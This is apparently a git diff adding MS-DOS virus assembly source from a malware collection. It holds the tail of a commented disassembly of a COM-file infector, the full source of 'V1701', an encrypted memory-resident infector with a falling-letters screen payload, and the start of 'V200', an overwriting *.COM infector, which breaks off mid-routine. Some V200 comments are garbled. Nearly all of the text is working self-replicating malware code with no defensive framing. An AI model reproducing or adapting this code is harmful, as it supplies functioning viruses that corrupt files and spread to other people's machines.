+0537 8916CC05 MOV [05CC],DX + +; copy first 669h bytes of file to the end + +; read beginnig of file (669h bytes) + +053B B96906 MOV CX,0669 ; virus length +053E 81E90001 SUB CX,0100 ; size of PSP +0542 8B169803 MOV DX,[0398] +0546 81C20001 ADD DX,0100 ; buffer +054A B43F MOV AH,3F ; read file +054C E836FE CALL 0385 ; far call to INT 21h + +054F 7271 JB 05C2 ; error, exit + +; move file ptr back to BOF + +0551 8BFA MOV DI,DX +0553 BA0000 MOV DX,0000 +0556 B90000 MOV CX,0000 +0559 B80242 MOV AX,4202 ; move file ptr to EOF +055C E826FE CALL 0385 ; far call to INT 21h + +055F 7261 JB 05C2 ; error, exit + +; vrite virus code to file + +0561 8BD7 MOV DX,DI +0563 B96906 MOV CX,0669 ; virus length +0566 81E90001 SUB CX,0100 +056A B440 MOV AH,40 ; write file +056C E816FE CALL 0385 ; far call to INT 21h + +056F 7251 JB 05C2 ; error, exit + +; move file ptr to EOF + +0571 BA0000 MOV DX,0000 +0574 B90000 MOV CX,0000 +0577 B80042 MOV AX,4200 ; move file ptr to BOF +057A E808FE CALL 0385 ; far call to INT 21h + +057D 7243 JB 05C2 + +; write to file its beginning block + +057F 8F069803 POP [0398] +0583 FF369803 PUSH [0398] +0587 B96906 MOV CX,0669 ; end of virus code +058A 81E90001 SUB CX,0100 ; size of PSP +058E BA0001 MOV DX,0100 ; from buffer +0591 B440 MOV AH,40 ; write file +0593 E8EFFD CALL 0385 ; far call to INT 21h + +0596 722A JB 05C2 + ; error, exit + +; restore file time stamp + +0598 8B0ECA05 MOV CX,[05CA] ; restore time stamp +059C 8B16CC05 MOV DX,[05CC] ; restore date stamp +05A0 B80157 MOV AX,5701 ; set file time stamp +05A3 E8DFFD CALL 0385 ; far call to INT 21h + +; close file + +05A6 B43E MOV AH,3E ; close file +05A8 E8DAFD CALL 0385 ; far call to INT 21h + +; restore file attributes + +05AB 8F069803 POP [0398] +05AF 8F069803 POP [0398] +05B3 8B169803 MOV DX,[0398] +05B7 8B0EC805 MOV CX,[05C8] ; retore file attributes +05BB B80143 MOV AX,4301 ; set file attributes +05BE E8C4FD CALL 0385 ; far call to INT 21h + +05C1 C3 RET + +; exit after any error + +05C2 58 POP AX +05C3 8F069803 POP [0398] +05C7 C3 RET + +05C8 20 00 ; file attributes +05CA D8A8 ; file time stamp +05CC D516 ; file date stamp + +;----------------------------------------- +; intercept INT 24h and prepare local DTA + +; get INT 24h + +05CE B82435 MOV AX,3524 ; get INT 24h +05D1 E8B1FD CALL 0385 ; far call to INT 21h + +05D4 891EB203 MOV [03B2],BX +05D8 8C06B403 MOV [03B4],ES + +; set new INT 24h + +05DC B425 MOV AH,25 ; set +05DE B024 MOV AL,24 ; int 24h +05E0 BAB603 MOV DX,03B6 ; offset of new handler +05E3 E89FFD CALL 0385 ; far call to INT 21h + +; get current DTA + +05E6 B42F MOV AH,2F ; get DTA +05E8 E89AFD CALL 0385 ; far call to INT 21h + +05EB 8C069C03 MOV [039C],ES +05EF 891E9A03 MOV [039A],BX + +; set new local DTA + +05F3 B41A MOV AH,1A ; set DTA +05F5 0E PUSH CS +05F6 1F POP DS +05F7 8B169803 MOV DX,[0398] +05FB 81C28000 ADD DX,0080 +05FF E883FD CALL 0385 ; far call to INT 21h + +0602 C3 RET + +;------------------------- +; restore INT 24h and DTA + +; prepare registers + +0603 0E PUSH CS +0604 1F POP DS +0605 0E PUSH CS +0606 07 POP ES + +; restore INT 24h + +0607 B82425 MOV AX,2524 ; set INT 24h +060A 8B16B203 MOV DX,[03B2] +060E 8E1EB403 MOV DS,[03B4] +0612 E870FD CALL 0385 ; far call to INT 21h + +; retsore DTA + +0615 8B169A03 MOV DX,[039A] +0619 FF369C03 PUSH [039C] +061D 1F POP DS +061E B41A MOV AH,1A +0620 E862FD CALL 0385 ; far call to INT 21h + +0623 C3 RET + +;--------------------- +; exit to application + +0624 E8DCFF CALL 0603 ; restore INT 24h and DTA + +0627 0E PUSH CS +0628 1F POP DS +0629 BE3E06 MOV SI,063E ; start of oryginal code +062C 8B3E9803 MOV DI,[0398] ; length of victim + +; copy victim code + +0630 AC LODSB +0631 AA STOSB +0632 81FE6906 CMP SI,0669 +0636 75F8 JNZ 0630 + +0638 8B3E9803 MOV DI,[0398] ; RET address +063C 57 PUSH DI +063D C3 RET + +063E B96906 MOV CX,0669 +0641 81E90001 SUB CX,0100 +0645 8B369803 MOV SI,[0398] +0649 2BF1 SUB SI,CX +064B 0E PUSH CS +064C 1F POP DS +064D BF0001 MOV DI,0100 +0650 AC LODSB +0651 AA STOSB +0652 E2FC LOOP 0650 + +0654 33C0 XOR AX,AX +0656 33DB XOR BX,BX +0658 33C9 XOR CX,CX +065A 33D2 XOR DX,DX +065C 33F6 XOR SI,SI +065E BF0001 MOV DI,0100 +0661 57 PUSH DI +0662 33FF XOR DI,DI +0664 33ED XOR BP,BP +0666 C3 RET + +0667 90 NOP +0668 90 NOP + +; end resident part of virus +;----------------------------- +; victim code + diff --git a/MSDOS/Virus.MSDOS.Unknown.v1701.asm b/MSDOS/Virus.MSDOS.Unknown.v1701.asm new file mode 100644 index 00000000..8befb2d5 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v1701.asm @@ -0,0 +1,937 @@ + +L0004: CALL L0007 ; PUSH BEGIN ADDRESS +L0007: POP BX ; POP ADDRESS + + SUB BX,0131H ; CALC DATA POINT + + TEST BYTE PTR CS:[BX+012AH],01H ; ENCODE VIRUS ? + JE L0023 ; VIRUS IS ENCODING. START + + LEA SI,[BX+014DH] ; START ADDRES FOR ENCODE + MOV SP,0682H ; SIZE OF VIRUS + +L001B: XOR [SI],SI ; ENCODE ONE BYTE + XOR [SI],SP + + INC SI ; ADDRESS OF NEXT BYTE + + DEC SP ; LAST BYTE ? + JNE L001B ; NO. ENCODE NEXT BYTE + +L0023: MOV SP,BP ; RESTORE STACK + JMP SHORT L0076 + + NOP + + ADD [BX+DI],AL + ESC 09,[SI] +L002C: DW 0000H + DEC BP ;DB 4DH + POP DX ;DB 5AH + ADD BYTE PTR [BX+SI],00H + DEC BX + INC WORD PTR [BX+SI] + DB 0F0H + ADC [BP+DI],AX + MOV DL,0BH + INC BP + ADC AL,26H + ADD AL,[BX+SI] + ADD [BX+SI],AH + ADD [BX+SI+12H],DH + MOV BH,65H + MOV CX,2A41H + JNP LFFCC + INC BP +L004D: DW 0000H + + JMP L0BD4 ;DB 0E9H,82H,0BH + +L0052: DW 2 DUP(0000H) + ADD [BX+SI],CL ;DB 00H,08H +L0058: DW 2 DUP(0000H) + AND AL,[BX+DI] ;DB 22H,01H + POP ES ;DB 07H + ADD AL,[BX] ;DB 02H,07H + ADD AL,[BX+SI] ;DB 02H,00H + ADD [BX+DI],AL ;DB 00H,01H + ADD [BX+DI+8518H],BL ;DB 00H,99H,18H,85H + ADD AL,00H ;DB 04H,00H + XOR BYTE PTR [SI],92H ;DB 80H,34H,92H + XOR AL,13H ;DB 34H,13H + ADD [BX+DI],AL + ADC AL,14H + SUB [BX+SI],BP + +L0076: CALL L0079 ; PUSH ADDRES +L0079: POP BX ; POP ADDRES TO BX + SUB BX,01A3H ; CALC DATA POINT + + MOV CS:[BX+0154H],CS ; SAVE CURRENT SEGMENT + MOV CS:[BX+0156H],AX ; SAVE AX + + MOV AX,CS:[BX+0158H] + MOV WORD PTR DS:[0100H],AX + + MOV AL,CS:[BX+015AH] + MOV BYTE PTR DS:[0102H],AL + + PUSH BX ; PUSH DATA POINT + + MOV AH,30H ; GET DOS VERSION + INT 21H + +L009D: POP BX ; POP DATA POINT + + CMP AL,02H ; INCORECT DOS VERSION ? + JB L00B3 ; YES. EXECUTE PROGRAM + + MOV AX,4BFFH ; THE VIRUS IS ACTIVE IN MEMORY ? + XOR DI,DI + XOR SI,SI + INT 21H + +L00AB: CMP DI,55AAH ; SPECIAL CODE ? + JNE L00C0 ; NO. INSERT VIRUS IN MEMORY + JB L00C9 ; ??? + +L00B3: STI + PUSH DS + POP ES + MOV AX,CS:[BX+0156H] + JMP DWORD PTR CS:[BX+0152H] + +L00C0: PUSH BX ; SAVE BX + + MOV AX,3521H ; GET INT21 ADDRESS IN ES:BX + INT 21H + MOV AX,BX + + POP BX ; RESTORE BX + +L00C9: MOV CS:[BX+0161H],AX ; STORE INT21 ADDRESS + MOV CS:[BX+0163H],ES + + MOV AX,0F000H ; 'BIOS' SEGMENT + MOV ES,AX + + MOV DI,0E008H ; OFFSET 'COPR. IBM',0 + + CMP WORD PTR [DI],4F43H ; CHECK ORIGINAL NAME + JNE L00FC + + CMP WORD PTR [DI+02H],5250H + JNE L00FC + + CMP WORD PTR [DI+04H],202EH + JNE L00FC + + CMP WORD PTR [DI+06H],4249H + JNE L00FC + + CMP WORD PTR [DI+08H],004DH + JE L00B3 ; ORIGINAL COMPUTER. CAN'T INSERT VIRUS + +L00FC: MOV AX,007BH ; SIZE OF VIRUS 'MCB' + + MOV BP,CS ; PROGRAM 'MCB' SEGMENT + DEC BP + MOV ES,BP + + MOV SI,CS:[0016H] + MOV ES:[0001H],SI + + MOV DX,ES:[0003H] ; GET BLOCK SIZE + + MOV WORD PTR ES:[0003H],AX ; NEW BLOCK SIZE + + MOV BYTE PTR ES:[0000H],4DH ; MIDDLE BLOCK + + SUB DX,AX ; CALC NEW SIZE OF PROGRAM MEMORY BLOCK + DEC DX + + INC BP ; PSP SEGMENT + + ADD BP,AX ; NEW 'PSP' OF PROGRAM + INC BP + + MOV ES,BP ; SEGMENT OF 'PSP' + + PUSH BX ; SET NEW SEGMENT OF 'PSP' + MOV AH,50H + MOV BX,BP + INT 21H +L012D: POP BX + + XOR DI,DI ; NEW SEGMENT OF STACK + PUSH ES ; PUSH 0 + POP SS + PUSH DI + + LEA DI,[BX+07CEH] ; ADDRES OF VIRUS + + MOV SI,DI ; MOVE VIRUS + MOV CX,06A5H + STD + REPZ MOVSB + + PUSH ES ; EXEC VIRUS IN NEW SEGMENT + LEA CX,[BX+0270H] + PUSH CX + RETF + +L0146: MOV CS:[BX+0154H],CS ; SAVE NEW SEGMENT + LEA CX,[BX+012AH] ; SIZE PROGRAM + REPZ MOVSB ; MOVE PROGRAM + + MOV CS:[0036H],CS ; STORE CS ??? + + DEC BP ; NEW 'MCB' SEGMENT + MOV ES,BP + + MOV ES:[0003H],DX ; NEW SIZE OF BLOCK + MOV BYTE PTR ES:[0000H],5AH ; 'LAST' BLOCK + MOV ES:[0001H],CS ; 'PSP' SEGMENT + + INC BP ; 'PSP' SEGMENT + MOV ES,BP + + PUSH DS ; ES = NEW VIRUS SEGMENT + POP ES + + PUSH CS ; DS = CURENT VIRUS SEGMENT + POP DS + + LEA SI,[BX+012AH] ; BEGIN VIRUS + MOV DI,0100H ; BEGIN IN NEW SEGMENT + MOV CX,06A5H ; VIRUS SIZE + CLD + REPZ MOVSB ; MOVE VIRUS + + PUSH ES ; EXECUTE VIRUS IN NEW SEGMENT + LEA AX,DS:[0284H] + PUSH AX + RETF + +L0184: MOV WORD PTR CS:[002CH],0000H ; CLEAR ENVIROMENT OF VIRUS + MOV CS:[0016H],CS + PUSH DS ; PUSH DS + + LEA DX,DS:[031CH] ; L021C - VIRUS INT21 DRIVER + PUSH CS + POP DS ; SET NEW INT21 VECTOR + MOV AX,2521H + INT 21H + +L019C: POP DS ; POP DS + + MOV AH,1AH ; SET NEW 'DTA' + MOV DX,0080H + INT 21H + +L01A4: CALL L039A + + MOV AH,2AH ; GET DATE : CX - YEAR , + INT 21H ; DH - MONTH , DL - DAY + +L01AB: CMP CX,07C4H ; COMPARE WIDTH 1988 ? + + JNBE L0216 ; YEAR IS > 1988 ? + + JE L01DD ; YEAR IS 1988 ? + + CMP CX,07BCH ; YEAR IS 1980 ? + JNE L0216 ; NO ? + + PUSH DS ; STORE DS + + MOV AX,3528H ; GET ADDRESS INT28 + INT 21H + +L01BF: MOV CS:[013BH],BX ; SAVE ADDRESS + MOV CS:[013DH],ES + + MOV AX,2528H ; SET NEW INT28 + MOV DX,0722H ; L0622 - INT28 DRIVER + PUSH CS + POP DS + INT 21H + +L01D3: POP DS ; RESTORE DS + + OR BYTE PTR CS:[0157H],08H ; SET 'SHOW' STATUS + JMP SHORT L01E2 + NOP + +L01DD: CMP DH,0AH ; 1988, OCTOBER ? + JB L0216 + +L01E2: CALL L0462 + + MOV AX,1518H + CALL L036F + INC AX + MOV WORD PTR CS:[015EH],AX + MOV WORD PTR CS:[0160H],AX + MOV WORD PTR CS:[0164H],0001H + + MOV AX,351CH ; GET ADDRESS INT1C - TIMER + INT 21H + +L0200: MOV CS:[0133H],BX ; SAVE ADDRESS + MOV CS:[0135H],ES + + PUSH DS ; SET NEW INT1C + MOV AX,251CH + MOV DX,06BDH ; L05BD - INT1C DRIVER + PUSH CS + POP DS + INT 21H + +L0215: POP DS + +L0216: MOV BX,0FFD6H + JMP L00B3 + +; ============== INT 21 DRIVER ============== + +L021C: CMP AH,4BH ; EXEC FUNCTION ? + JE L0231 + +L0221: JMP DWORD PTR CS:[0137H] ; JUMP TO ORIGINAL INT21 + +L0226: MOV DI,55AAH ; SPECIAL CODE + LES AX,DWORD PTR CS:[0137H] ; ES:AX - ORIGINAL INT21 VECTOR + MOV DX,CS ; DX - VIRUS SEGMENT + IRET ; RETURN + +L0231: CMP AL,0FFH ; SPECIAL FUNCTION ? + JE L0226 + + CMP AL,00H ; EXEC PROGRAM ? + JNE L0221 ; NO. QUIT + + PUSHF ; SAVE REGISTERS +L023A: DB 'PSQRVWU' + PUSH ES + PUSH DS + + MOV CS:[0147H],DX ; SAVE FILE NAME + MOV CS:[0149H],DS + + PUSH CS ; ES = CURENT SEGMENT + POP ES + + MOV AX,3D00H ; OPEN FILE + INT 21H +L0254: JB L02AC ; ERROR ? + + MOV BX,AX ; SAVE FP + + MOV AX,5700H ; GET TIME & DATE OF FILE + INT 21H + +L025D: MOV CS:[0143H],DX ; SAVE TIME & DATE + MOV CS:[0145H],CX + + MOV AH,3FH ; READ FIRS 3 BYTES FROM FILE + PUSH CS + POP DS + MOV DX,012EH + MOV CX,0003H + INT 21H +L0273: JB L02AC ; \ + CMP AX,CX ; > ERROR ? + JNE L02AC ; / + + MOV AX,4202H ; GET FILE SIZE + XOR CX,CX + XOR DX,DX + INT 21H + +L0282: MOV WORD PTR CS:[014BH],AX ; SAVE FILE SIZE + MOV CS:[014DH],DX + + MOV AH,3EH ; CLOSE FILE + INT 21H + +L028F: CMP WORD PTR CS:[012EH],5A4DH ; 'EXE' FILE ? + JNE L029B ; NO. INFECT ... + + JMP L0362 ; QUIT + +L029B: CMP WORD PTR CS:[014DH],+00H ; SIZE OF FILE > 65535 ? + JNBE L02AC ; YES. QUIT + + CMP WORD PTR CS:[014BH],0F93BH ; SIZE OF FILE > 63803 ? + JBE L02AF ; YES. QUIT + +L02AC: JMP L0362 ; QUIT + +L02AF: CMP BYTE PTR CS:[012EH],0E9H ; FIRST BYTE IS 'JUMP' CODE ? + JNE L02C5 ; NO. INFECT + + MOV AX,WORD PTR CS:[014BH] ; AX = NEXT WORD - 1703 + ADD AX,0F959H ; (TWO BYTES FOR JUMP OFFSET) + + CMP AX,CS:[012FH] ; AX = FILE SIZE ? + JE L02AC ; YES. QUIT + +L02C5: MOV AX,4300H ; GET FILE ATTRIBUTE + LDS DX,DWORD PTR CS:[0147H] + INT 21H +L02CF: JB L02AC ; ERROR ? + + MOV CS:[0141H],CX ; SAVE ATTRIBUTE ? + + XOR CL,20H ; CHANGE ATTRIBUTE ? + TEST CL,27H + JE L02E7 + + MOV AX,4301H ; SET NEW ATTRIBUTE + XOR CX,CX + INT 21H +L02E5: JB L02AC ; ERROR ? + +L02E7: MOV AX,3D02H ; OPEN FILE - READ/WRITE MODE + INT 21H +L02EC: JB L02AC ; ERROR ? + + MOV BX,AX ; SAVE FP + + MOV AX,4202H ; MOVE FP TO END OF FILE + XOR CX,CX + XOR DX,DX + INT 21H + +L02F9: CALL L064C ; WRITE VIRUS CODE + JNB L0316 ; ERROR ? + + MOV AX,4200H ; MOVE FP TO BEGIN VIRUS + MOV CX,CS:[014DH] + MOV DX,CS:[014BH] + INT 21H + +L030D: MOV AH,40H ; CUT FILE (ERASE VIRUS) + XOR CX,CX + INT 21H + +L0313: JMP SHORT L0336 ; QUIT + NOP + +L0316: MOV AX,4200H ; MOVE FP TO BEGIN FILE + XOR CX,CX + XOR DX,DX + INT 21H +L031F: JB L0336 + + MOV AX,WORD PTR CS:[014BH] ; CALC 'JUMP' WORD + ADD AX,0FFFEH + + MOV WORD PTR CS:[0150H],AX ; SAVE 'JUMP' WORD + + MOV AH,40H ; WRITE 'JUMP' CODE - 3 BYTES + MOV DX,014FH + MOV CX,0003H + INT 21H + +L0336: MOV AX,5701H ; SET OLD TIME & DATA OF FILE + MOV DX,CS:[0143H] + MOV CX,CS:[0145H] + INT 21H + +L0345: MOV AH,3EH ; CLOSE FILE + INT 21H + +L0349: MOV CX,CS:[0141H] ; SET OLD ATTRIBUTES ? + TEST CL,07H + JNE L0358 + TEST CL,20H + JNE L0362 + +L0358: MOV AX,4301H ; SET OLD ATTRIBUTES + LDS DX,DWORD PTR CS:[0147H] + INT 21H + +L0362: POP DS ; POP REGISTERS +L0363: DB 07H,']_^ZY[X' + POPF + JMP L0221 ; EXEC FILE + +L036F: PUSH DS ; SAVE DS + + PUSH CS ; DS = CS + POP DS + + PUSH BX ; PUSH REGISTERS + PUSH CX + PUSH DX + + PUSH AX ; SAVE ARGUMENT + + MOV CX,0007H ; SIZE OF ARRAY + + MOV BX,0174H ; ADDRESS OF END OF ARRAY + + PUSH WORD PTR [BX] ; SAVE LAST ELEMENT + +L037E: MOV AX,[BX-02H] ; ARRAY[I] = ARRAY[I-1] + ADC [BX],AX + DEC BX + DEC BX + LOOP L037E + + POP AX ; CALC LAST ELEMENT + ADC [BX],AX + + MOV DX,[BX] ; GET LAST ELEMENT + + POP AX ; POP ARGUMENT + + OR AX,AX ; ARGUMENT IS NULL ? + JE L0393 + + MUL DX ; MUL RANDOM WORD + +L0393: MOV AX,DX ; RETURN RANDOM WORD + + POP DX ; RESTORE REGISTERS + POP CX + POP BX + POP DS + RET + +L039A: PUSH DS + PUSH ES + PUSH SI + PUSH DI + PUSH CX + PUSH CS + POP ES + MOV CX,0040H + MOV DS,CX + MOV DI,0166H + MOV SI,006CH + MOV CX,0008H + CLD + REPZ MOVSW + POP CX + POP DI + POP SI + POP ES + POP DS + RET + +L03B8: PUSH SI + PUSH DS + PUSH DX + MOV AL,DH + MUL BYTE PTR DS:[0152H] + MOV DH,00H + ADD AX,DX + SHL AX,1 + ADD AX,DS:[015AH] + MOV SI,AX + TEST BYTE PTR DS:[0154H],0FFH + MOV DS,DS:[0158H] + JE L03EA + MOV DX,03DAH + CLI +L03DC: IN AL,DX + TEST AL,08H + JNE L03EA + TEST AL,01H + JNE L03DC +L03E5: IN AL,DX + TEST AL,01H + JE L03E5 +L03EA: LODSW + STI + POP DX + POP DS + POP SI + RET + +L03F0: PUSH DI + PUSH ES + PUSH DX + PUSH BX + MOV BX,AX + MOV AL,DH + MUL BYTE PTR DS:[0152H] + MOV DH,00H + ADD AX,DX + SHL AX,1 + ADD AX,DS:[015AH] + MOV DI,AX + TEST BYTE PTR DS:[0154H],0FFH + MOV ES,DS:[0158H] + JE L0425 + MOV DX,03DAH + CLI +L0417: IN AL,DX + TEST AL,08H + JNE L0425 + TEST AL,01H + JNE L0417 +L0420: IN AL,DX + TEST AL,01H + JE L0420 +L0425: MOV AX,BX + STOSB + STI + POP BX + POP DX + POP ES + POP DI + RET + +L042E: PUSH CX +L042F: PUSH CX + MOV CX,DS:[015CH] +L0434: LOOP L0434 + POP CX + LOOP L042F + POP CX + RET + +L043B: PUSH AX + IN AL,61H + XOR AL,02H + AND AL,0FEH + OUT 61H,AL + POP AX + RET + +L0446: CMP AL,00H + JE L0454 + CMP AL,20H + JE L0454 + CMP AL,0FFH + JE L0454 + CLC + RET + +L0454: STC + RET + +L0456: CMP AL,0B0H + JB L0460 + CMP AL,0DFH + JNBE L0460 + STC + RET + +L0460: CLC + RET + +L0462: PUSH DS + MOV AX,0040H + MOV DS,AX + STI + MOV AX,WORD PTR DS:[006CH] +L046C: CMP AX,DS:[006CH] + JE L046C + XOR CX,CX + MOV AX,WORD PTR DS:[006CH] +L0477: INC CX + JE L048F + CMP AX,DS:[006CH] + JE L0477 +L0480: POP DS + MOV AX,CX + XOR DX,DX + MOV CX,000FH + DIV CX + MOV WORD PTR CS:[015CH],AX + RET + +L048F: DEC CX + JMP SHORT L0480 + + +L0492: MOV BYTE PTR DS:[0153H],18H + + PUSH DS ; GET CURENT VIDEO PAGE + MOV AX,0040H + MOV DS,AX + MOV AX,WORD PTR DS:[004EH] + POP DS + + MOV WORD PTR DS:[015AH],AX ; SAVE CURENT VIDEO PAGE + + MOV DL,0FFH ; EGA CHARACTER GENERATOR FUNC + MOV AX,1130H + MOV BH,00H + PUSH ES + PUSH BP + INT 10H + POP BP + POP ES + + CMP DL,0FFH + JE L04BA + MOV DS:[0153H],DL +L04BA: MOV AH,0FH + INT 10H + +L04BE: MOV DS:[0152H],AH + MOV BYTE PTR DS:[0154H],00H + MOV WORD PTR DS:[0158H],0B000H + CMP AL,07H + JE L0507 + JB L04D6 + JMP L05B6 + +L04D6: MOV WORD PTR DS:[0158H],0B800H + CMP AL,03H + JNBE L0507 + CMP AL,02H + JB L0507 + MOV BYTE PTR DS:[0154H],01H + MOV AL,BYTE PTR DS:[0153H] + INC AL + MUL BYTE PTR DS:[0152H] + MOV WORD PTR DS:[0162H],AX + MOV AX,WORD PTR DS:[0164H] + CMP AX,DS:[0162H] + JBE L0501 + MOV AX,WORD PTR DS:[0162H] +L0501: CALL L036F + INC AX + MOV SI,AX +L0507: XOR DI,DI +L0509: INC DI + MOV AX,WORD PTR DS:[0162H] + SHL AX,1 + CMP DI,AX + JBE L0516 + JMP L05B6 + +L0516: OR BYTE PTR DS:[0157H],02H + MOV AL,BYTE PTR DS:[0152H] + MOV AH,00H + CALL L036F + MOV DL,AL + MOV AL,BYTE PTR DS:[0153H] + MOV AH,00H + CALL L036F + MOV DH,AL + CALL L03B8 + CALL L0446 + JB L0509 + CALL L0456 + JB L0509 + MOV BYTE PTR DS:[0155H],AL + MOV DS:[0156H],AH + MOV CL,DS:[0153H] + MOV CH,00H +L0549: INC DH + CMP DH,DS:[0153H] + JNBE L05A3 + CALL L03B8 + CMP AH,DS:[0156H] + JNE L05A3 + CALL L0446 + JB L0587 +L055F: CALL L0456 + JB L05A3 + INC DH + CMP DH,DS:[0153H] + JNBE L05A3 + CALL L03B8 + CMP AH,DS:[0156H] + JNE L05A3 + CALL L0446 + JNB L055F + CALL L043B + DEC DH + CALL L03B8 + MOV BYTE PTR DS:[0155H],AL + INC DH +L0587: AND BYTE PTR DS:[0157H],0FDH + DEC DH + MOV AL,20H + CALL L03F0 + INC DH + MOV AL,BYTE PTR DS:[0155H] + CALL L03F0 + JCXZ L05A1 + CALL L042E + DEC CX +L05A1: JMP SHORT L0549 + +L05A3: TEST BYTE PTR DS:[0157H],02H + JE L05AD + JMP L0509 + +L05AD: CALL L043B + DEC SI + JE L05B6 + JMP L0507 + +L05B6: IN AL,61H + AND AL,0FCH + OUT 61H,AL + RET + +; ============== INT 1C DRIVER ============== + +L05BD: TEST BYTE PTR CS:[0157H],09H ; SHOW ? + JNE L061D ; NO. EXEC ORIGINAL INT1C + + OR BYTE PTR CS:[0157H],01H ; CLEAR SHOW STATUS + + DEC WORD PTR CS:[015EH] ; DECREMENT COUNTER + JNE L0617 ; FAILING LETERS ? + + PUSH DS ; SAVE DS & ES + PUSH ES + + PUSH CS ; DS = CS + POP DS + + PUSH CS ; ES = DS + POP ES + +L05D7: DB 'PSQRVWU' ; PUSH REGISTERS + + MOV AL,20H ; NO INTERUPTS + OUT 20H,AL + + MOV AX,WORD PTR DS:[0160H] + + CMP AX,0438H + JNB L05EE + + MOV AX,0438H + +L05EE: CALL L036F ; CALC RANDOM WORD FOR TIMER + INC AX + + MOV WORD PTR DS:[015EH],AX ; STORE NEW COUNTER + MOV WORD PTR DS:[0160H],AX + + CALL L0492 + + MOV AX,0003H + CALL L036F + INC AX + + MUL WORD PTR DS:[0164H] + JNB L060B + + MOV AX,0FFFFH +L060B: MOV WORD PTR DS:[0164H],AX + +L060E: DB ']_^ZY[X' ; RESTORE REGISTERS + POP ES + POP DS + +L0617: AND BYTE PTR CS:[0157H],0FEH ; SET SHOW STATUS + +L061D: JMP DWORD PTR CS:[0133H] ; EXEC OROGINAL INT1C + + TEST BYTE PTR CS:[0157H],08H + JE L0647 + +; ============== INT 28 DRIVER ============== + +L0622: PUSH AX ; SAVE REGISTERS + PUSH CX + PUSH DX + + MOV AH,2AH ; GET DATE + INT 21H + +L0631: CMP CX,07C4H ; COMPARE WIDTH 1988 + JB L0644 ; YEAR IS < 1988 ? - NO SHOW + JNBE L063E ; YEAR IS > 1988 ? - SET FLAG FOR SHOW + + CMP DH,0AH ; YEAR IS 1988. MONTH IS < OCTOBER ? + JB L0644 ; YES. NO SHOW + +L063E: AND BYTE PTR CS:[0157H],0F7H ; SET SHOW FLAG + +L0644: POP DX ; RESTORE REGISTERS + POP CX + POP AX + +L0647: JMP DWORD PTR CS:[013BH] ; EXECUTING ORIGINAL INT28 + +L064C: PUSH ES + PUSH BX + + MOV AH,48H ; GET MEMORY - 1712 BYTES + MOV BX,006BH + INT 21H +L0655: POP BX + + JNB L065B ; NO ERROR ? + +L0658: STC ; ERROR - QUIT + POP ES + RET + +L065B: MOV BYTE PTR CS:[0100H],01H + +L0661: MOV ES,AX ; ES = NEW MEMORY SEGMENT + + PUSH CS ; DS = VIRUS SEGMENT + POP DS + + XOR DI,DI ; MOVE VIRUS CODE TO NEW SEGMENT + MOV SI,0100H + MOV CX,06A5H ; SIZE OF VIRUS - 1701 BYTES + CLD + REPZ MOVSB + + MOV DI,0023H ; BEGIN FOR CODING V.CODE + + MOV SI,0123H ; CALC CODING WORD + ADD SI,DS:[014BH] + + MOV CX,0682H ; SIZE OF CODING CODE - 1666 BYTES + +L067D: XOR ES:[DI],SI ; CODING BYTE + XOR ES:[DI],CX + + INC DI ; ADDRESS OF NAXT BYTE + INC SI + + LOOP L067D ; CODING NEXT BYTE + + MOV DS,AX ; SEGMENT OF CODING CODE + + MOV AH,40H ; WRITE CODE + XOR DX,DX + MOV CX,06A5H ; SIZE CODE - 1701 BYTES + INT 21H + +L0692: PUSHF + PUSH AX + + MOV AH,49H ; FREE BLOCK + INT 21H + +L0698: POP AX + POPF + + PUSH CS + POP DS + JB L0658 ; ERROR IN WRITING ? + + CMP AX,CX ; ALL BYTES IS WRITING ? + JNE L0658 + + POP ES ; RETURN - NO ERRORS + CLC + RET + +L06A5: JB L0661 + CMP AX,CX + JNE L0661 + POP ES + CLC + RET + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.v200.asm b/MSDOS/Virus.MSDOS.Unknown.v200.asm new file mode 100644 index 00000000..aa02bc24 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.v200.asm @@ -0,0 +1,178 @@ +;------------------------------------------------------------------------------; +; ; +; V200 ; +; ; +; V200 , - ; +; ; +; COM - , , C: ; +; . ; +; V200 , ; +; ( 24h) ; +; . ; +; ; +;------------------------------------------------------------------------------; + + .model Tiny + .code + + +VirLen = 200 +NewId = offset Mark - 100h + +;-----------------------------------------------------------------------------; + + ORG 0D0h + +INT24 dw ? ; 24h. +INT24a db ? + +NewDTA db 15h dup (?) ; DTA. +FAttr db ? +FTime dw ? +FDate dw ? +FLen dw ?, ? +FName db 0Dh dup (?) + +;-----------------------------------------------------------------------------; + + ORG 100h + +Start: + push ax + + mov INT24,3B0h ; 24h : mov al,03 + mov INT24a,0CFh ; iret + + mov ax,2524h + mov dx,offset INT24 + int 21h ; 24h. + + mov ah,19h + int 21h ; . + push ax ; . + + + mov ah,0Eh + mov dl,02h + int 21h ; C: + + mov ax,cs + add ah,10h + mov es,ax ; ES = CS + 64KBytes + mov si,offset Start + xor di,di + mov cx,VirLen ; 64KBytes + rep movsb ; - . + + mov dx,offset NewDTA ; DTA . + mov ah,1Ah + int 21h + + +;...... . + + mov dx, offset AllCom ; '*.COM' . + mov cl,110B + mov ah,4Eh ; Find First. + int 21h + jc Done ; + ; . +FindNext: + + mov dx,offset Fname ; dx DTA. + mov ax,3D02h ; /. + int 21h + + mov bx,ax ; . + + push ds ; DS. + + push es + pop ds ; -DS:DX + mov dx,VirLen ; DS = CS + 64KBytes + mov cx,0FFFFh ; DX = + mov ah,3Fh ; , + int 21h ; . + + add ax,VirLen ; (AX) + mov si,ax ; SI. + + cmp Word ptr ds:[NewId+VirLen],'TS' ; ? + je Close + + xor cx,cx + xor dx,dx + mov ax,4200h ; + int 21h ; . + + mov cx,si + mov ah,40h ; DS:DX + int 21h ; + + + mov cx,cs:FTime + mov dx,cs:FDate + mov ax,5701h ; + int 21h ; DTA. + +Close: + pop ds ; DS. + + mov ah,3Eh ; . + int 21h + + mov ah,4Fh + int 21h ; Find Next, + jnc FindNext ; + ; . +Done: + mov dx,80h + mov ah,1Ah + int 21h ; DTA. + + pop dx + mov ah,0Eh + int 21h ; . + +;....... . + + mov si,offset TransF + mov cx,offset EndCode - offset Transf + xor di,di ; 64KBytes - + rep movsb ; , -. + + pop bx ; AX BX. + + push es + push cx + RETF ; ES:00 + +;....................................... + ; +Mark DB 'STSV' ; . +AllCom db '*.COM',0 ; +;.......................................; . + +TRansF: + push ds + pop es + + mov si,offset EndCode + mov di,offset Start + dec cx + sub cx,si ; + rep movsb ; 100h + ; . + push ds + mov ax,100h + 